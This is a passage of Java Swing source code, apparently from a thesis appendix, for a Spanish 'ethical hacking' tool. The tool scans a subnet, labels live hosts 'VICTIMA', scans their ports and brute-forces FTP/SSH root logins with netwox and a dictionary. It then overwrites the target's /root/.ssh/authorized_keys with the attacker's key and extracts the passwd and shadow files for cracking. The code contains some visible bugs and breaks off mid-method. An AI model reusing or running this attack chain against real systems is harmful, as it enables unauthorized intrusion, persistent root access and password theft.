private void boton_guardar_logActionPerformed(java.awt.event.ActionEvent evt) { } private void boton_retorno_principlaActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_principal pa = new pantalla_principal(); pa.show(); } private void boton_limpiarActionPerformed(java.awt.event.ActionEvent evt) { } private void botonscanPUERTOSActionPerformed(java.awt.event.ActionEvent evt) { d=0; texto_scan_puertos.setText(""); for (int i = 0; i < 999; i++) { for(int j=0;j<3;j++){ tabla_scan_puertos.setValueAt("",i,j); } } try { InetAddress addr = InetAddress.getByName(host); System.out.println("ESCANEO DE PUERTOS ACTIVOS EN LA DIRECCION IP--> "+host); System.out.println("BUSCANDO PUERTOS ABIERTOS..."); System.out.println("POR FAVOR ESPERE...(CTRL-C para detener)"); cadena_puertos = cadena_puertos + "ESCANEO DE PUERTOS ACTIVOS EN LA DIRECCION IP--> "+ host +'\n'+"BUSCANDO PUERTOS ABIERTOS..." +'\n'+ "POR FAVOR ESPERE...(CTRL-C para detener)"+'\n'; for (int i = 1; i < 500; i++) { Socket s = null; try { s = new Socket(addr,i); if (s!=null){ System.out.println("Puerto: " + i + " abierto " + host ); cadena_puertos = cadena_puertos + '\n'+"Puerto: " + i + " abierto en " + host+'\n'; tabla_scan_puertos.setValueAt(Integer.toString(i),d,0); botonhackeo.setEnabled(true); switch (i) { case 20: tabla_scan_puertos.setValueAt("Servicio data-ftp",d,1); break; case 21: tabla_scan_puertos.setValueAt("Servicio ftp",d,1); break; case 22: tabla_scan_puertos.setValueAt("Servicio ssh",d,1);
221
break; case 23: tabla_scan_puertos.setValueAt("Servicio telnet",d,1); break; case 25: tabla_scan_puertos.setValueAt("Servicio smtp",d,1); break; case 53: tabla_scan_puertos.setValueAt("Servicio DNS",d,1); break; case 80: tabla_scan_puertos.setValueAt("Servicio http",d,1); break; case 110: tabla_scan_puertos.setValueAt("Servicio pop3",d,1); break; case 111: tabla_scan_puertos.setValueAt("Servicio rpcbind",d,1); break; case 139: tabla_scan_puertos.setValueAt("Servicio smb",d,1); break; case 143: tabla_scan_puertos.setValueAt("Servicio imap",d,1); break; case 443: tabla_scan_puertos.setValueAt("Servicio https",d,1); break; case 445: tabla_scan_puertos.setValueAt("microsoft ds",d,1); break; default: tabla_scan_puertos.setValueAt("Puerto desconocido",d,1); break; } tabla_scan_puertos.setValueAt("Activo",d,2); d++; }else{ System.out.println("Puerto: " + i + " cerrado " + host ); } } catch (IOException ex) { } finally { try { if (s != null) s.close(); } catch (IOException ex) {}
222
} } //for } //try catch (UnknownHostException ex) { System.err.println(ex); } if (cadena_puertos !="") { texto_scan_puertos.setText(cadena_puertos); }else{ Msg a=new Msg("RESPUESTA DEL SISTEMA","imagenes/escudo_u.jpg","no se han encontrado puertos abiertos","verifique la IP y el estado de la red","consulte el manual de ayuda y vuelvalo a intentar...gracias"); botonhackeo.setEnabled(false); } } private void botonhackeoActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); hackeo hack = new hackeo(host); hack.show(); } private void botonscanIPActionPerformed(java.awt.event.ActionEvent evt) { valida=true; c=0; point_1=0; point_2=0; cont_punto=0; ip_inicial=""; ip_final=""; ha=""; ah=""; texto_scan_ip.setText(""); for (int i = 0; i < 999; i++) { for(int j=0;j<3;j++){ tabla_scan_ip.setValueAt("",i,j); } } try{ ScanIPRange anda = new ScanIPRange(); try{ Process p_ip = Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/ip"); is_ip = p_ip.getInputStream(); br_ip = new BufferedReader (new InputStreamReader (is_ip)); aux_ip = br_ip.readLine(); while (aux_ip!=null ) { System.out.println (aux_ip);
223
if (aux_ip.startsWith("2 ") && valida==true) { cadena_ips= aux_ip; valida=false; for(int h=0;h<aux_ip.length();h++) { if(aux_ip.charAt(h)=='/') { ip_pos = h; } } } aux_ip = br_ip.readLine(); } p_ip.waitFor(); host = cadena_ips.substring(3,ip_pos); System.out.println("LA IP DEL SISTEMA ES:---> "+ host); point_1 = host.lastIndexOf("."); ip_inicial = host.substring(0,point_1)+".0"; ip_final = host.substring(0,point_1)+".254"; System.out.println("1--> "+ ip_inicial+" 2--> "+ip_final); anda.empezar(ip_inicial,ip_final); }catch(InterruptedException e){ Msg a=new Msg("AVISO","imagenes/escudo_u.jpg","no se pudo ejecutar la funcion de rastreo de ip","consulte con la ayuda del sistema","vuelvalo a intentar...gracias"); } PingThread v = new PingThread(); ah =v.get_resultado(); texto_scan_ip.setText("Este es el informe del escaneo de ips--:"+'\n' + ah +'\n'+"Informe de escaneo de ip"+'\n'+"por sistema de hacking de passwords unix"+'\n'+'\n'+"****************************************"+'\n'+"generado el "+time.getFecha()+'\n'+ "A LAS "+clock.getHora()+'\n'+"*********"); ha =v.get_ips(); System.out.println(ha); for(int j=0; j< ha.length();j++) { if(ha.length()>0){ if(ha.charAt(j)!='\n') { aux= aux + ha.charAt(j); }else{ tabla_scan_ip.setValueAt(aux,c,0); tabla_scan_ip.setValueAt("ACTIVA",c,2); tabla_scan_ip.setValueAt("VICTIMA",c,1); aux=""; c++; }
224
}else{ Msg a=new Msg("INFORME","imagenes/escudo_u.JPG","no hay ips activas en la red","pruebe con otro rango de ips","consulte el manual de ayuda....gracias"); botonscanPUERTOS.setEnabled(false); } } msg a=new msg("aviso","imagenes/escudo_u.jpg","ejecutado el rastreo de ip","seleccione una IP y empieze el escaneo de puertos","********************"); }catch(Exception eje ) { Msg a=new Msg("AVISO","imagenes/escudo_u.jpg","puede que el proceso haya generado","un error interno","si no encontro ips vuelva a scanear.."); botonscanPUERTOS.setEnabled(false); } } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new pantalla_scan().setVisible(true); } }); } static String cadena_ips=""; static String cadena_puertos=""; static String host =""; static String ips_activas[]; static StringBuffer auxiliar; static String aux=""; static String ip_inicial=""; static String ip_final=""; static String ah =""; static String ha =""; static int d=0; static int c=0; static int cont_punto=0; static int point_1=0; static int point_2=0; static int select_fila,select_columna; private Fecha time; private Reloj clock; static InputStream is_ip; static BufferedReader br_ip; static String aux_ip=""; static String clase_ip=""; static int ip_pos=0; static boolean valida =true; static int número_columna=0; static int número_fila=0;
225
static String nombre_pc=""; static Socket ss= null; private javax.swing.JMenu acerca_de; private javax.swing.JMenuItem acerca_de_menu; private javax.swing.JMenu análisis; private javax.swing.JMenuItem análisis_claves; private javax.swing.JMenu ayuda; private javax.swing.JMenuItem ayudita; private javax.swing.JButton boton_guardar_log; private javax.swing.JButton boton_limpiar; private javax.swing.JButton boton_retorno_principla; private javax.swing.JButton botonhackeo; private javax.swing.JButton botonscanIP; private javax.swing.JButton botonscanPUERTOS; private javax.swing.JMenu estadisticas; private javax.swing.JMenuItem estadisticas_re; private javax.swing.JLabel fecha; private javax.swing.JMenu hackeo; private javax.swing.JMenuItem hacking_etico; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel4; private javax.swing.JLabel jLabel5; private javax.swing.JLabel jLabel6; private javax.swing.JLabel jLabel7; private javax.swing.JMenuBar jMenuBar1; private javax.swing.JPanel jPanel1; private javax.swing.JPanel jPanel2; private javax.swing.JScrollPane jScrollPane1; private javax.swing.JScrollPane jScrollPane2; private javax.swing.JScrollPane jScrollPane3; private javax.swing.JScrollPane jScrollPane4; private javax.swing.JLabel reloj; private javax.swing.JMenu reportes; private javax.swing.JMenuItem reportes_estadisticos; private javax.swing.JMenuItem salida; private javax.swing.JMenu salir; private javax.swing.JMenu scan; private javax.swing.JMenuItem scan_ip_puertos; public javax.swing.JTable tabla_scan_ip; public javax.swing.JTable tabla_scan_puertos; public javax.swing.JEditorPane texto_scan_ip; public javax.swing.JEditorPane texto_scan_puertos; }
226
Pantalla_attack_ftp.java
import java.io.*; import java.net.*; import java.io.*; import java.io.PrintStream; import javax.swing.JOptionPane; public class pantalla_attack_ftp extends javax.swing.JFrame { public pantalla_attack_ftp(String ip) { ip_final = ip; initComponents(); } private void initComponents() { jLabel1 = new javax.swing.JLabel(); jScrollPane1 = new javax.swing.JScrollPane(); text_attack = new javax.swing.JEditorPane(); jLabel2 = new javax.swing.JLabel(); jLabel4 = new javax.swing.JLabel(); jLabel5 = new javax.swing.JLabel(); boton_exec_attack = new javax.swing.JButton(); boton_stop_attack = new javax.swing.JButton(); jLabel6 = new javax.swing.JLabel(); jLabel7 = new javax.swing.JLabel(); boton_execute_extract = new javax.swing.JButton(); boton_stop_extract = new javax.swing.JButton(); jScrollPane2 = new javax.swing.JScrollPane(); text_extract = new javax.swing.JEditorPane(); jLabel8 = new javax.swing.JLabel(); boton_exec_análisis = new javax.swing.JButton(); boton_stop_análisis = new javax.swing.JButton(); jScrollPane3 = new javax.swing.JScrollPane(); text_analiza_passwd = new javax.swing.JEditorPane(); jLabel9 = new javax.swing.JLabel(); boton_logs = new javax.swing.JButton(); boton_ayuda = new javax.swing.JButton(); boton_retorno = new javax.swing.JButton(); execute_ip = new javax.swing.JButton(); jLabel3 = new javax.swing.JLabel(); boton_analiza = new javax.swing.JButton(); jLabel10 = new javax.swing.JLabel(); jScrollPane4 = new javax.swing.JScrollPane(); text_estado_ip = new javax.swing.JEditorPane(); setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); setTitle("Ataque ftp-ssh"); jLabel1.setFont(new java.awt.Font("Lucida Bright", 1, 10)); jLabel1.setText("PANTALLA DE CONTROL ATAQUE SSH"); jScrollPane1.setViewportView(text_attack);
227
jLabel2.setFont(new java.awt.Font("Lucida Bright", 1, 10)); jLabel2.setText("Check de estado de IP y puerto"); jLabel4.setFont(new java.awt.Font("Lucida Bright", 1, 10)); jLabel4.setText("Resultados"); jLabel5.setFont(new java.awt.Font("Lucida Bright", 1, 10)); jLabel5.setText("Acceso a PC remota"); boton_exec_attack.setFont(new java.awt.Font("Lucida Bright", 1, 10)); boton_exec_attack.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_exec_attack.setText("Execute"); boton_exec_attack.setToolTipText("Ejecuta la orden de ataque ftp remoto"); boton_exec_attack.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_exec_attackActionPerformed(evt); } }); boton_stop_attack.setFont(new java.awt.Font("Lucida Bright", 1, 10)); boton_stop_attack.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_stop_attack.setText("Stop"); boton_stop_attack.setToolTipText("Neutraliza la orden de ataque remoto"); jLabel6.setFont(new java.awt.Font("Lucida Bright", 1, 10)); jLabel6.setText("Extraccion del archivo passwd"); jLabel7.setFont(new java.awt.Font("Lucida Bright", 1, 10)); jLabel7.setText("Resultados"); boton_execute_extract.setFont(new java.awt.Font("Lucida Bright", 1, 10)); boton_execute_extract.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_execute_extract.setText("Execute"); boton_execute_extract.setToolTipText("Con esta opcion extraiga el archivo de passw de la maquina remota"); boton_execute_extract.setEnabled(false); boton_execute_extract.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_execute_extractActionPerformed(evt); } }); boton_stop_extract.setFont(new java.awt.Font("Lucida Bright", 1, 10)); boton_stop_extract.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_stop_extract.setText("Stop"); boton_stop_extract.setToolTipText("Con esta opcion pare el proceso que se esta ejecutando"); boton_stop_extract.setEnabled(false); jScrollPane2.setViewportView(text_extract); jLabel8.setFont(new java.awt.Font("Lucida Bright", 1, 10)); jLabel8.setText("Obtencion de los passwords del archivo"); boton_exec_análisis.setFont(new java.awt.Font("Lucida Bright", 1, 10));
228
boton_exec_análisis.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_exec_análisis.setText("Execute"); boton_exec_análisis.setToolTipText("Ejecuta la orden del análisis del archivo extraido"); boton_exec_análisis.setEnabled(false); boton_exec_análisis.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_exec_análisisActionPerformed(evt); } }); boton_stop_análisis.setFont(new java.awt.Font("Lucida Bright", 1, 10)); boton_stop_análisis.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_stop_análisis.setText("Stop"); boton_stop_análisis.setToolTipText("Detiene la orden de ejecucion de análisis de passwd"); boton_stop_análisis.setEnabled(false); jScrollPane3.setViewportView(text_analiza_passwd); jLabel9.setFont(new java.awt.Font("Lucida Bright", 1, 10)); jLabel9.setText("Resultados"); boton_logs.setFont(new java.awt.Font("Lucida Bright", 1, 10)); boton_logs.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_logs.setText("logs"); boton_logs.setToolTipText("Guardar los registros del ataque"); boton_logs.setEnabled(false); boton_ayuda.setFont(new java.awt.Font("Lucida Bright", 1, 10)); boton_ayuda.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_ayuda.setText("Help"); boton_ayuda.setToolTipText("Reciba con esta opcion ayuda sobre el uso de la ventana y demas"); boton_retorno.setFont(new java.awt.Font("Lucida Bright", 1, 10)); boton_retorno.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_retorno.setText("GO SCAN"); boton_retorno.setToolTipText("Hace un return a la pantalla hackeo"); boton_retorno.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_retornoActionPerformed(evt); } }); execute_ip.setFont(new java.awt.Font("Lucida Bright", 1, 10)); execute_ip.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); execute_ip.setText("Execute"); execute_ip.setToolTipText("Con esta opcion verifique el estado de la red en
229
caso de perder conexion"); execute_ip.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { execute_ipActionPerformed(evt); } }); jLabel3.setFont(new java.awt.Font("Lucida Bright", 1, 10)); jLabel3.setText("Administracion de resultados"); boton_analiza.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/análisis.gif")); boton_analiza.setText("ANÁLISIS"); boton_analiza.setEnabled(false); boton_analiza.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_analizaActionPerformed(evt); } }); jLabel10.setFont(new java.awt.Font("Lucida Bright", 1, 10)); jLabel10.setText("Resultados"); jScrollPane4.setViewportView(text_estado_ip); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jLabel6) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING, false) .add(jLabel5) .add(layout.createSequentialGroup() .add(boton_exec_attack) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(boton_stop_attack, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 99, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(jScrollPane1, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 251, Short.MAX_VALUE) .add(jLabel4) .add(jScrollPane2, 0, 0, Short.MAX_VALUE)) .add(59, 59, 59) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup()
230
.addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel8)) .add(layout.createSequentialGroup() .add(8, 8, 8) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(boton_exec_análisis) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 70, Short.MAX_VALUE) .add(boton_stop_análisis, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 93, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(jLabel2) .add(jLabel9) .add(jScrollPane3, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 257, Short.MAX_VALUE) .add(jScrollPane4, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 257, Short.MAX_VALUE) .add(jLabel10) .add(execute_ip, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 94, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE))))) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(boton_execute_extract, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 94, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(boton_stop_extract, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 94, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(jLabel7)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 381, Short.MAX_VALUE)) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(boton_logs) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(boton_retorno)) .add(jLabel3)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(boton_ayuda) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 120, Short.MAX_VALUE) .add(boton_analiza)
231
.add(67, 67, 67))) .addContainerGap()) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .add(jLabel1) .add(200, 200, 200)))) ); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(jLabel1) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .add(jLabel8, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 13, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(boton_exec_análisis) .add(boton_stop_análisis)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED)) .add(layout.createSequentialGroup() .add(jLabel5) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(boton_exec_attack) .add(boton_stop_attack)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED))) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jLabel9, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 13, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(jLabel4)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jScrollPane1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 133, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(jScrollPane3, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 133, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jLabel6) .add(jLabel2)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED)
232
.add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING)
.add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(boton_execute_extract) .add(boton_stop_extract)) .add(execute_ip)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(jLabel7, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 13, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(jLabel10, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 13, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jScrollPane4, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 133, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(jScrollPane2, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 133, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(jLabel3) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(boton_logs) .add(boton_retorno) .add(boton_ayuda))) .add(boton_analiza)) .add(22, 22, 22)) ); java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-609)/2, (screenSize.height-528)/2, 609, 528); }// </editor-fold> private void boton_retornoActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_scan as = new pantalla_scan(); as.show(); } private void boton_analizaActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); parametros_análisis análisiss = new parametros_análisis(ip_final); análisiss.show(); } public static boolean verifica_estado_red() throws Exception {
233
Process p_red = Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/chequeo_red "+ip_final); is_red = p_red.getInputStream(); br_red = new BufferedReader (new InputStreamReader (is_red)); aux_red = br_red.readLine(); while (aux_red!=null ) { System.out.println (aux_red); cadena_total_red = cadena_total_red + '\n' + aux_red; aux_red = br_red.readLine(); } int status = p_red.waitFor(); return status == 0; } private void execute_ipActionPerformed(java.awt.event.ActionEvent evt) { cadena_total_red=""; text_estado_ip.setText(""); aux_red=""; try { if (verifica_estado_red()){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","terminada la ejecucion","del estado de la red","........."); boton_exec_attack.setEnabled(true); }else{ Msg a=new Msg("ERROR","/root/hacking_etico/imagenes/escudo_u.Jpg","no se pudo ejecutar la funcion de verificacion de la red","consulte con la ayuda del sistema","gracias"); boton_exec_attack.setenabled(false); } } catch (Exception e) { e.printStackTrace(); Msg a=new msg("error","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la funcion de verificacion de la red","consulte con la ayuda del sistema","gracias"); } text_estado_ip.setText(cadena_total_red +'\n'+ "finalizado chequeo de red"); } private void boton_exec_análisisActionPerformed(java.awt.event.ActionEvent evt) { cadena_total_descifra=""; aux_descifra=""; try { if (ejecuta_descifrado()){
234
Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG","ejecutado con exito","la extraccion","gracias por usar nuestro programa"); boton_analiza.setEnabled(true); boton_logs.setEnabled(true); }else{ Msg a=new Msg("ERROR","/root/hacking_etico/imagenes/escudo_u.JPG","no se pudo ejecutar la funcion de extraccion de contraseñas","consulte con Administrador","Gracias"); boton_analiza.setEnabled(false); boton_logs.setEnabled(false); } } catch (Exception e) { e.printStackTrace(); Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la funcion de extraccion de contraseñas","consulte con la ayuda del sistema","gracias"); } text_analiza_passwd.setText(cadena_total_descifra +'\n'+ " finalizado con exito el descifrado de passwd..!!!"); } private void boton_execute_extractActionPerformed(java.awt.event.ActionEvent evt) { text_extract.setText(""); aux_copia=""; aux_coloca=""; aux_extraelo=""; cadena_total=""; try { if (ejecuta_extract(ip_final,"root",passwd_final)){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","finalizado con exito","la extraccion de archivos","gracias por usar nuestro programa!"); boton_exec_análisis.setEnabled(true); }else{ Msg a=new Msg("ERROR","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la funcion de extraccion de contraseñas","consulte con la ayuda del sistema","gracias"); boton_exec_análisis.setEnabled(false); } } catch (Exception e) { e.printStackTrace();
235
Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la funcion de rastreo de contraseñas","consulte con la ayuda del sistema","gracias"); } text_extract.setText(cadena_total +'\n'+ " finalizado con exito el ataque..!!!"); } private void boton_exec_attackActionPerformed(java.awt.event.ActionEvent evt) { text_attack.setText(""); password_obtenido =""; aux=""; cadena_total_passwd=""; passwd_final=""; aux_valor=0; cont=0; try { if (ejecuta_ataque_ftp(ip_final)){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG","terminado con exito","la autenticacion remota","gracias por usar nuestro programa!!"); boton_execute_extract.setEnabled(true); execute_ip.setEnabled(true); }else{ Msg a=new Msg("ERROR","/root/hacking_etico/imagenes/escudo_u.JPG","no se pudo ejecutar la funcion de rastreo de contraseñas","consulte con la ayuda del sistema","gracias"); boton_execute_extract.setEnabled(false); } } catch (Exception e) { e.printStackTrace(); Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar la funcion de rastreo de contrase�as","consulte con la ayuda del sistema","gracias"); } text_attack.setText(cadena_total_passwd); } public static boolean ejecuta_extract(String ip_final,String login,String passwd_final) throws Exception { Process p_copia = Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/ataque_ssh"); is_copia = p_copia.getInputStream(); br_copia = new BufferedReader (new InputStreamReader (is_copia)); String aux_copia = br_copia.readLine(); while (aux_copia!=null ) {
236
System.out.println (aux_copia); cadena_total = cadena_total + '\n' + aux_copia; aux_copia = br_copia.readLine(); } p_copia.waitFor(); //Borrado Remoto Del Archivo De Autenticacion Process p_clear = Runtime.getRuntime().exec("netwox 114 -i "+ip_final+" -u "+login+" -a "+passwd_final+" --remote-file /root/.ssh/authorized_keys"); is_clear = p_clear.getInputStream(); br_clear = new BufferedReader (new InputStreamReader (is_clear)); String aux_clear = br_clear.readLine(); while (aux_clear!=null ) { System.out.println (aux_clear); cadena_total = cadena_total + '\n' + aux_clear; aux_clear = br_clear.readLine(); } p_clear.waitFor(); //-Colocacion De Los Archivos De Autenticacion Process p_coloca = Runtime.getRuntime().exec("netwox 113 -i "+ip_final+" -u "+login+" -a "+passwd_final+" -f /root/.ssh/id_rsa.pub -F /root/.ssh/authorized_keys"); is_coloca = p_coloca.getInputStream(); br_coloca = new BufferedReader (new InputStreamReader (is_coloca)); String aux_coloca = br_coloca.readLine(); while (aux_coloca!=null ) { System.out.println (aux_coloca); cadena_total = cadena_total + '\n' + aux_coloca; aux_coloca = br_coloca.readLine(); } p_coloca.waitFor(); //--Extraccion De Los Archivos De La Maquina Remota Process p_extraelo = Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/extract_passwd_shadow "+ip_final); is_extraelo = p_extraelo.getInputStream(); br_extraelo = new BufferedReader (new InputStreamReader (is_extraelo)); aux_extraelo = br_extraelo.readLine();
237
while (aux_extraelo!=null ) { System.out.println (aux_extraelo); cadena_total = cadena_total + '\n' + aux_extraelo; aux_extraelo = br_extraelo.readLine(); } int status = p_extraelo.waitFor(); return status == 0; } public static boolean ejecuta_ataque_ftp(String ip) throws Exception { Process p = Runtime.getRuntime().exec("netwox 130 -i "+ IP +" -l "+"/root/hacking_etico/utilitarios/login"+" -v -s -w "+"/root/hacking_etico/utilitarios/diccionario_completo"+ " -T 50000 -n 200"); is = p.getInputStream(); br = new BufferedReader (new InputStreamReader (is)); String aux = br.readLine(); while (aux!=null ) { System.out.println (aux); cadena_total_passwd = cadena_total_passwd + '\n' + aux; if (aux.endsWith("good")) { password_obtenido = aux; } aux = br.readLine(); } int status = p.waitFor(); for(int k=0; k < password_obtenido.length()-9; k++) { if (password_obtenido.charAt(k)== '-' && cont ==0) { passwd_final = password_obtenido.substring(k+3,password_obtenido.length()-9); cont++; } } System.out.println("Este es el passwd rastreado-->" + passwd_final); cadena_total_passwd = cadena_total_passwd + '\n'+" ENTONCES, EL RESULTADO OBTENIDO DEL PASSWD ES:... "+passwd_final; cadena_passwords_obtenidos = cadena_passwords_obtenidos + passwd_final; return status == 0; } public static boolean ejecuta_descifrado() throws Exception { Process p_descifra =
238
